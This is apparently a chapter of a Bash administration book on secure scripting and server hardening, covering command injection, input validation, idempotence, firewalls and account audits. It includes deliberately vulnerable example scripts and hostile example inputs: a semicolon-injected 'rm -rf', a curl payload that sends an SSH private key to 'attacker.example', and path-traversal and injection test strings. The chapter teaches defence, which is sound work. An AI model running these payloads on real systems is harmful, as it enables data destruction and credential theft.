Bash Security: Scripts & Servers

Bash Security: Scripts & Servers

Bitnesia • Aug 31, 2026 132 •ID

Chapter 3.4.5 briefly touched upon the dangers of eval through the example eval "cat $file_name", with a promise of deeper discussion regarding command injection and input validation postponed to this chapter. Chapter 15.3.3 also promised a deeper look into the idempotent principle, and Chapter 22.3.1 deferred the discussion of credential leakage risks via scripts. This chapter fulfills all three promises simultaneously, as all three stem from the same root issue: Bash scripts written by Sysadmins or Developers almost always run with elevated privileges, often via sudo or as root via cron, and frequently receive input from sources that cannot be fully trusted, whether arguments from other users, uploaded file contents, or third-party API responses. A single careless line is enough to open a path for an Attacker. This chapter is divided into four sections: avoiding command injection and unquoted variable habits (23.1), input validation and script idempotence (23.2), basic server-level hardening including port audits, firewalls, and suspicious user detection (23.3), concluding with a case study refactoring a messy script into a secure health-check and security-check toolkit (23.4).

23.1 Command Injection and Unquoted Variables

These four sub-sections examine how an Attacker inserts unwanted commands into seemingly normal scripts, along with writing patterns that close these vulnerabilities from the start.

23.1.1 eval and Dangerous String Interpolation

The example eval "cat $file_name" in Chapter 3.4.5 seems trivial, but let us expand it into a more realistic scenario: a backup script receives a folder name via an argument, then uses eval to dynamically insert additional options.

#!/bin/bash
# DO NOT COPY, vulnerable code example
folder="$1"
eval "tar czf backup.tar.gz $folder"

When invoked normally like ./backup.sh data, the command works as intended. The problem arises when an Attacker (or an unwitting User) supplies the argument data; rm -rf ~/important #. Because eval evaluates the interpolated string as new shell commands, the semicolon ends the tar command and initiates a new command that forcibly deletes the ~/important folder, while the trailing hash sign # causes the remainder of the original line to be treated as a comment, preventing syntax errors that might otherwise alert the caller. This is command injection, a technique of inserting additional shell commands through input intended purely as plain data.

eval is almost never strictly necessary for routine input processing; most cases that appear to require eval can actually be handled using arrays (23.1.3) or standard parameter expansion. The safe version for the scenario above requires no eval whatsoever:

folder="$1"
tar czf backup.tar.gz "$folder"

Double quotes around "$folder" ensure that its entire contents, including semicolons and hash signs, are treated as a single literal argument for tar, rather than being re-evaluated as shell instructions. This principle from Chapter 3.4.3 serves as the primary and most cost-effective defense against command injection, and represents a habit that must be applied to every line of code from the outset, rather than patched in after an incident occurs.

23.1.2 Command Substitution as an Injection Vector

A similar hazard exists with command substitution ($() or backticks, Chapter 3.4.4) if a string containing it is re-evaluated by the shell. This pattern frequently appears unnoticed via bash -c or ssh host "command" constructs that assemble commands from variable-concatenated strings.

# DO NOT COPY, vulnerable code example
message="$1"
bash -c "logger \"Alert: $message\""

If $message originates from a trusted input, this line is safe. However, if $message comes from an external webhook payload or a form field filled by another User, and happens to contain $(curl attacker.example/steal?data=$(cat ~/.ssh/id_rsa)), bash -c will re-evaluate the entire string as a new script. This causes the embedded command substitution to execute, sending the contents of the SSH private key to the Attacker's server. The underlying issue lies not with $() itself, but in the practice of constructing command strings via interpolation and passing them to bash -c or a subshell for re-evaluation.

The safest solution is to entirely avoid the pattern of building command strings for execution via a subshell when any part of the content originates from external input. If calling logger is necessary, invoke it directly as a standard command without wrapping it in bash -c:

message="$1"
logger "Alert: $message"

This approach treats $message as a single data argument passed to logger, rather than part of a script to be evaluated, ensuring any embedded command substitution remains literal text and is never executed.

23.1.3 Arrays for Safe Dynamic Commands

The need to build commands with variable options (for instance, when certain flags are optional) often tempts Sysadmins to use eval. Arrays (Chapter 4.1) satisfy this requirement without injection risks, as each array element remains a distinct argument throughout execution, never being concatenated into a single evaluated string.

cmd=(rsync -a --delete)

if [[ "$TEST_MODE" == "true" ]]; then
    cmd+=(--dry-run)
fi

cmd+=("$SOURCE" "$DESTINATION")

"${cmd[@]}"

cmd+=(...) appends new elements to the end of the array without overwriting existing entries, adhering to the GNU Bash Reference Manual regarding the += array operator. The final line, "${cmd[@]}", executes all array elements as a single command with discrete arguments, identical to explicit manual invocation, while allowing the count and contents of arguments to be dynamically constructed using conditional logic. Even if $SOURCE or $DESTINATION contains spaces or unusual characters, each remains bounded as a single complete argument because "${cmd[@]}" (with double quotes) preserves element boundaries precisely, a guarantee impossible to maintain when combining options into a string evaluated via eval.

23.1.4 Filenames Starting with Dashes and the -- Separator

Another frequently overlooked trap occurs when processed filenames originate from external sources (such as output from find within a public upload directory). Filenames can be intentionally created to mimic command options, such as files named -rf or --exec=id.

file="-rf"
rm "$file"

Even though "$file" is quoted correctly, rm still interprets -rf as a combination of the -r and -f flags rather than a filename. Quoting prevents word splitting and globbing, but does not alter how the target command interprets its arguments. If such a filename appears inside a loop processing multiple files, unintended mass deletion can result. The remedy is the -- separator, a POSIX standard indicating that all subsequent arguments are to be treated as positional operands rather than options. This is supported by nearly all standard command-line utilities including rm, grep, and find -exec.

rm -- "$file"

Prefixing arguments derived from external input with -- should be standard practice, particularly for destructive commands like rm, mv, or chmod. The fastest automated method to verify quoting practices and catch dangerous patterns without manual code reviews is running shellcheck, a static analysis tool detailed in Chapter 25.4. Executing it prior to deploying scripts to production is far less costly than identifying vulnerabilities through live incidents.

23.2 Input Validation and Script Idempotence

Preventing command injection addresses only one aspect of security. The counterpart involves ensuring scripts reject invalid data at the boundary and remain safe when executed repeatedly, whether invoked manually multiple times or triggered by cron before a prior run completes.

23.2.1 Input Whitelisting with Regex and case

A flawed approach frequently encountered in practice involves attempting to block dangerous characters individually, known as blacklisting. This method is brittle because an Attacker only needs to identify an unlisted character. A far more robust methodology is whitelisting: accepting only explicitly allowed patterns and rejecting all other inputs by default.

validate_hostname() {
    local host="$1"
    if [[ ! "$host" =~ ^[a-zA-Z0-9.-]+$ ]]; then
        echo "Invalid hostname: $host" >&2
        return 1
    fi
}

validate_port() {
    local port="$1"
    if [[ ! "$port" =~ ^[0-9]+$ ]] || (( port < 1 || port > 65535 )); then
        echo "Invalid port: $port" >&2
        return 1
    fi
}

validate_hostname() permits only letters, numbers, periods, and hyphens, matching valid RFC hostname/domain formats while strictly excluding dangerous shell characters like semicolons or parentheses. validate_port() combines a two-tier check: the ^[0-9]+$ regex ensures the value consists strictly of digits (preventing malformed strings from passing to numeric evaluation), while the arithmetic compound (( )) from Chapter 6.2.1 verifies the value falls within the valid port range. Functions of this nature should be invoked at the entry point of execution, before variables like $host or $port are passed to downstream routines such as check_endpoint() or check_port() from Chapter 22.2, which process arguments directly without built-in validation.

23.2.2 Preventing Path Traversal with realpath

Scripts accepting file names or paths from external input (such as archive processing tools in Chapter 14.2 or upload migration scripts) are vulnerable to path traversal. This technique injects ../ sequences into paths, enabling processes restricted to a specific directory to access external files, such as /etc/passwd.

BASE_DIR="/var/www/uploads"

safe_path() {
    local input="$1"
    local resolved
    resolved=$(realpath -m "$BASE_DIR/$input") || return 1
    [[ "$resolved" == "$BASE_DIR"/* ]]
}

realpath (part of GNU coreutils) resolves paths into absolute form, eliminating . and .. elements. The -m/--canonicalize-missing option is deliberately utilized here instead of the default -E/--canonicalize mode; GNU coreutils documentation specifies that the default mode requires all path components except the last to exist, whereas -m allows resolution without requiring any path component to exist on the filesystem. This makes it suitable for validating target paths that have not yet been created. Once resolved to absolute form, the comparison [[ "$resolved" == "$BASE_DIR"/* ]] validates that the output remains inside $BASE_DIR. If the input contains ../../etc/passwd, the realpath output escapes the $BASE_DIR prefix and the validation check rejects it.

23.2.3 Idempotence: Inspect Prior to Modification

Chapter 15.3.3 defines an idempotent script as one that can be executed repeatedly without producing unintended side effects. The simplest approach to achieve idempotence is to inspect the current system state prior to applying changes, rather than executing modifications unconditionally.

ensure_user_exists() {
    local user="$1"
    if id "$user" &> /dev/null; then
        echo "User $user already exists, skipping"
        return 0
    fi
    useradd -m -s /bin/bash "$user"
}

id "$user" exits with a non-zero status if the user does not exist, enabling safe repeated invocations of this function without attempting duplicate user creation. By contrast, executing useradd -m -s /bin/bash deploy unconditionally when the user exists returns an exit status of 9 (documented in the useradd man page on man7.org for "username or group name already in use"). In scripts using set -e (Chapter 25.1), this non-zero exit status halts execution immediately, despite representing a non-fatal condition indicating prior task completion.

The same principle applies to configuration file modifications: rather than appending lines unconditionally using echo "new line" >> file.conf (which creates duplicate entries on subsequent runs), verify whether the line exists first.

append_config_line() {
    local line="$1" file="$2"
    grep -qF -- "$line" "$file" || echo "$line" >> "$file"
}

grep -qF searches for the string literally (-F, disabling regex evaluation) quietly (-q, suppressing standard output), relying entirely on the exit status. The -- separator from section 23.1.4 is retained in case $line begins with a dash. If the line exists, grep exits with 0 and the || operator (Chapter 6.4.2) skips the echo command; if absent, grep returns a non-zero status and the line is appended. Section 23.3.3 applies this state-checking model to firewall rules via iptables -C.

23.2.4 Preventing Concurrent Execution with flock

The idempotence model in 23.2.3 ensures consistent state during sequential runs, but does not handle concurrent execution, such as when a cron schedule triggers a new execution while a previous instance is still running due to system latency. flock, part of the util-linux package standard across Linux distributions, manages file locks to ensure single-instance execution.

#!/bin/bash
exec 200>/var/lock/security-toolkit.lock
if ! flock -n 200; then
    echo "Another instance is currently running, exiting" >&2
    exit 1
fi

# ... code requiring exclusive execution ...

exec 200>/var/lock/security-toolkit.lock opens a lock file on file descriptor 200 (Chapter 5.2), chosen to avoid conflicts with standard descriptors 0, 1, and 2. flock -n 200 attempts a non-blocking lock on that descriptor (-n/--nonblock, per man flock). If another instance holds the lock, the command fails immediately instead of blocking, causing the script to terminate cleanly via the if branch. The lock releases automatically upon script completion or process termination because the kernel releases file locks when the associated descriptor closes, eliminating the need for cleanup trap handlers (Chapter 25.2).

23.3 Basic Server Hardening

This section transitions from script-level security to server-level security: auditing open ports, configuring firewall rules, and identifying unauthorized user accounts introduced as persistent backdoors.

23.3.1 Auditing Open Ports with ss and Whitelists

ss -tuln was introduced in Chapter 22.1.3 for socket diagnostics, though manual inspection was required. For system hardening, this procedure should be automated: compare active listening ports against an authorized whitelist, flagging unexpected services.

ALLOWED_PORTS=(22 80 443)

audit_ports() {
    local port listed
    while read -r port; do
        listed=false
        for p in "${ALLOWED_PORTS[@]}"; do
            [[ "$port" == "$p" ]] && listed=true && break
        done
        if [[ "$listed" == false ]]; then
            echo "WARNING: port $port is listening but not whitelisted"
        fi
    done < <(ss -tuln | awk 'NR>1 {print $5}' | rev | cut -d: -f1 | rev | sort -un)
}

The fifth column of ss -tuln contains Local Address:Port. Parsing the port via cut -d: -f2 fails on IPv6 addresses due to multiple embedded colons. Reversing the string using rev | cut -d: -f1 | rev isolates the final field (the port number) reliably across both IPv4 and IPv6 formatted sockets. The < <(command) construct employs process substitution, allowing the while read loop to consume command output directly without executing inside a subshell (as discussed in Chapter 5.3.5), retaining variable assignments for use outside the loop block.

23.3.2 ufw Firewall Management on Debian/Ubuntu

ufw (Uncomplicated Firewall) provides a simplified interface for managing netfilter rules, commonly used on Debian and Ubuntu systems. By default, enabling ufw blocks incoming traffic while allowing outgoing connections, enforcing the principle of least privilege: deny all traffic by default and permit explicitly required services.

sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp
sudo ufw allow 443/tcp
sudo ufw enable
sudo ufw status verbose

The sequence above enables port 22 (SSH) prior to executing ufw enable. This step is critical: enabling ufw before granting SSH access disconnects active SSH management sessions instantly without network recourse, requiring physical console access or emergency cloud provider out-of-band management to recover. Additionally, running ufw allow 22/tcp multiple times will not duplicate rules; ufw detects existing entries and outputs "Skipping adding existing rule", rendering it inherently idempotent as outlined in section 23.2.3.

23.3.3 iptables and firewalld Integration

iptables operates at a lower abstraction layer than ufw and serves as its back-end implementation on various systems. Modern Linux distributions, including Debian 10 (Buster) and Ubuntu 20.10 onwards, alias iptables to iptables-nft by default, translating rules to the nftables kernel subsystem. System administrators can verify the active backend via sudo update-alternatives --display iptables.

sudo iptables -L -n -v

-L lists active rules, -n displays numerical addresses and ports to bypass DNS lookups (preventing resolution delays), and -v displays packet and byte counters per rule (per man iptables). Unlike ufw allow, iptables -A (append) appends duplicate rules on every invocation. Scripts executing iptables -A via automated schedulers without checks will generate duplicate entries over time. Utilizing -C/--check verifies rule existence prior to insertion without altering configuration state:

sudo iptables -C INPUT -p tcp --dport 443 -j ACCEPT 2>/dev/null || \
    sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

On RHEL, CentOS, and Fedora distributions, firewall management is typically handled via firewalld, which abstracts rules into network trust zones.

sudo firewall-cmd --state
sudo firewall-cmd --add-port=443/tcp --permanent
sudo firewall-cmd --reload

The --permanent flag writes changes to persistent storage, taking effect after executing --reload. Without --permanent, runtime modifications are lost when the service or system restarts. Because firewall utilities vary by platform, scripts must detect active security frameworks dynamically rather than assuming a single tool is available across environments.

23.3.4 Restricting Privilege Delegation in sudo and SSH

Chapter 17.3.3 noted the risks associated with permissive configurations like deploy ALL=(ALL) NOPASSWD: ALL, while Chapter 21.2.1 introduced restricted SSH keys via the command= parameter in authorized_keys. Both mechanisms implement the principle of least privilege, restricting persistent access rights to specific operational bounds.

sudo -l -U deploy
sudo grep -rE 'NOPASSWD|ALL=\(ALL\)' /etc/sudoers /etc/sudoers.d/ 2>/dev/null

sudo -l -U deploy lists permissions granted to the deploy user. Per man sudo, the -U/--other-user flag allows authorized users or root to audit account privileges. The grep command inspects /etc/sudoers and /etc/sudoers.d/ for permissive patterns like NOPASSWD or unconstrained ALL=(ALL) directives. Restricted privilege entries, such as deploy ALL=(root) NOPASSWD: /usr/bin/systemctl restart webapp.service from Chapter 21.3.2, restrict execution scope to specific commands, whereas unrestricted privilege allocations require immediate remediation.

Similar constraints apply to SSH authentication keys. Unencrypted private keys used in automation (Chapter 21.2.1) present a risk if compromised. Configuring explicit restrictions in authorized_keys limits key capabilities:

restrict,command="/usr/local/bin/receive-backup.sh" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... deploy@app-01

Per authorized_keys(5) specifications, the restrict flag (available since OpenSSH 7.2) disables port forwarding, agent forwarding, X11 forwarding, PTY allocation, and execution of ~/.ssh/rc. The command="..." directive enforces execution of the specified script regardless of the command requested by the client. The original client invocation string remains accessible inside the script environment via SSH_ORIGINAL_COMMAND, permitting safe sub-command dispatching within defined bounds.

23.3.5 Detecting Unauthorized Accounts and Sign-ins

Chapter 17.3.1 detailed system user provisioning via useradd. This section addresses detecting unauthorized account creation used to establish persistent administrative backdoors.

echo "Accounts with UID 0 (root privileges):"
awk -F: '$3 == 0 {print $1}' /etc/passwd

Only root should be returned by this command. Additional accounts returned by this query possess root-equivalent rights regardless of account naming conventions, representing a common evasion tactic to bypass basic user audits.

echo "Accounts without passwords (unauthenticated login):"
sudo awk -F: '($2 == "") {print $1}' /etc/shadow

Per shadow(5) documentation, an empty password field in /etc/shadow allows unauthenticated account access, depending on system service configurations. This check requires elevated permissions via sudo because access to /etc/shadow is restricted to administrative accounts.

echo "Last 10 logins:"
last -n 10

echo "Initial login history per account:"
lastlog | grep -v 'Never logged in'

last reads authentication records from /var/log/wtmp, while lastlog displays the most recent sign-in timestamps for all local accounts. System administrators should investigate anomalies, such as interactive logins occurring outside normal operational windows or unexpected interactive logins on service accounts designated exclusively for automated tasks.

23.4 Case Study: Security Toolkit Refactoring

This case study integrates principles from sections 23.1 through 23.3 by refactoring a legacy administration script containing multiple security vulnerabilities.

23.4.1 Vulnerable Legacy Script

The following script, check-server-legacy.sh, serves as the initial code base targeted for refactoring:

#!/bin/bash
# DO NOT COPY, vulnerable code example
API_TOKEN=123456789:ABCdefGhIJKlmNoPQRsTUVwxyZ
HOST=$1

ping -c 1 $HOST

eval "curl -s http://$HOST/health"

useradd -m monitoring
iptables -A INPUT -p tcp --dport 9100 -j ACCEPT

echo "check complete" >> /tmp/log.txt

23.4.2 Mapping Vulnerabilities to Remediation Patterns

The flaws identified in the legacy script are analyzed below along with their corresponding security mitigations:

Vulnerable CodeSecurity ImpactRemediation Strategy
API_TOKEN=123456789:...Hardcoded credentials risk exposure via version control systemsExtract credentials to an external file with chmod 600 permissions (Section 20.4.2)
Unvalidated HOST=$1Lacks validation, allowing input to be leveraged in command injection payloadsImplement regex-based input whitelisting (Section 23.2.1)
eval "curl ... $HOST"Triggers command execution if $HOST contains shell metacharactersRemove eval and rely on proper argument quoting (Section 23.1.1)
Unchecked useradd -m monitoringFails with exit code 9, terminating script execution if the user existsVerify user existence via id prior to invocation (Section 23.2.3)
Unchecked iptables -A ...Appends duplicate firewall rules on every execution cycleCheck rule existence using iptables -C (Section 23.3.3)
>> /tmp/log.txtLacks timestamps and writes to shared, world-writable storage locationsImplement structured logging to dedicated log paths (Section 19.2.2)

23.4.3 Refactored Implementation: security-toolkit.sh

The refactored script incorporates input validation, idempotence checks, port and firewall auditing, backdoor detection routines, and endpoint health checks into a unified toolkit driven by getopts argument parsing (Chapter 12.2).

#!/bin/bash
set -uo pipefail

exec 200>/var/lock/security-toolkit.lock
flock -n 200 || { echo "Another instance is running" >&2; exit 1; }

source /etc/security-toolkit/credentials.env
LOG_FILE="/var/log/security-toolkit.log"
ALLOWED_PORTS=(22 80 443)

log() {
    printf '[%s] [%s] %s\n' "$(date '+%Y-%m-%d %H:%M:%S')" "$1" "${*:2}" >> "$LOG_FILE"
}

validate_hostname() {
    [[ "$1" =~ ^[a-zA-Z0-9.-]+$ ]]
}

check_endpoint() {
    local url="$1"
    local code
    code=$(curl -s -o /dev/null -w '%{http_code}' --connect-timeout 5 --max-time 10 "$url")
    [[ "$code" =~ ^2 ]]
}

ensure_monitoring_user() {
    if id monitoring &> /dev/null; then
        log INFO "Monitoring user already exists, skipping"
    else
        useradd -m -s /usr/sbin/nologin monitoring
        log INFO "Monitoring user created"
    fi
}

ensure_exporter_firewall() {
    if iptables -C INPUT -p tcp --dport 9100 -j ACCEPT 2>/dev/null; then
        log INFO "Firewall rule for port 9100 already exists, skipping"
    else
        iptables -A INPUT -p tcp --dport 9100 -j ACCEPT
        log INFO "Firewall rule for port 9100 added"
    fi
}

audit_ports() {
    while read -r port; do
        if [[ ! " ${ALLOWED_PORTS[*]} " =~ " $port " ]]; then
            log WARN "Port $port is open but not in whitelist"
        fi
    done < <(ss -tuln | awk 'NR>1 {print $5}' | rev | cut -d: -f1 | rev | sort -un)
}

audit_suspicious_users() {
    local extra
    extra=$(awk -F: '$3 == 0 && $1 != "root" {print $1}' /etc/passwd)
    [[ -n "$extra" ]] && log WARN "Non-root UID 0 user found: $extra"
}

HOST=""
while getopts ":h:" option; do
    case "$option" in
        h) HOST="$OPTARG" ;;
        *) echo "Usage: $0 -h HOST" >&2; exit 1 ;;
    esac
done

if [[ -n "$HOST" ]]; then
    if ! validate_hostname "$HOST"; then
        log WARN "Invalid hostname rejected: $HOST"
        exit 1
    fi
    if check_endpoint "https://$HOST/health"; then
        log INFO "Health check $HOST: OK"
    else
        log WARN "Health check $HOST: FAILED"
    fi
fi

ensure_monitoring_user
ensure_exporter_firewall
audit_ports
audit_suspicious_users

log INFO "Completed inspection cycle"

This implementation addresses each issue listed in Table 23.4.2: credentials are stored externally in credentials.env with chmod 600 permissions; $HOST is validated via validate_hostname() before processing; eval is eliminated in favor of explicit curl execution in check_endpoint(); system modifications are protected by idempotence checks; and events are written with ISO-style timestamps to /var/log. Concurrency guards using flock -n 200 prevent overlapping execution loops.

23.4.4 Verifying Idempotence and Automated Scheduling

Idempotence should be validated empirically by executing the script sequentially and inspecting system state across runs.

chmod +x security-toolkit.sh
sudo ./security-toolkit.sh -h api.example.com
sudo ./security-toolkit.sh -h api.example.com
sudo iptables -L INPUT -n | grep 9100
tail -n 20 /var/log/security-toolkit.log

Evaluating the output of iptables -L INPUT -n | grep 9100 after consecutive runs must confirm that only one entry exists for port 9100. Inspecting system logs should show skip notifications for account creation and firewall configurations on subsequent runs. Input validation can be tested using malicious input vectors, such as ./security-toolkit.sh -h "api.example.com; id", verifying that execution terminates before passing control to network utilities. Once validated, the toolkit can be scheduled via systemd timer units or cron jobs (Chapter 18), linking output handlers from audit_ports() and audit_suspicious_users() to alert dispatch routines (Chapter 20.4.2) for continuous system monitoring.

This chapter provides the foundational practices required to build secure, robust shell scripts that defend against command injection, validate external inputs, and maintain execution safety under automated environments. These security models scale directly into CI/CD automation pipelines in Chapter 24 and complete production server administration toolkits in Chapter 28.2.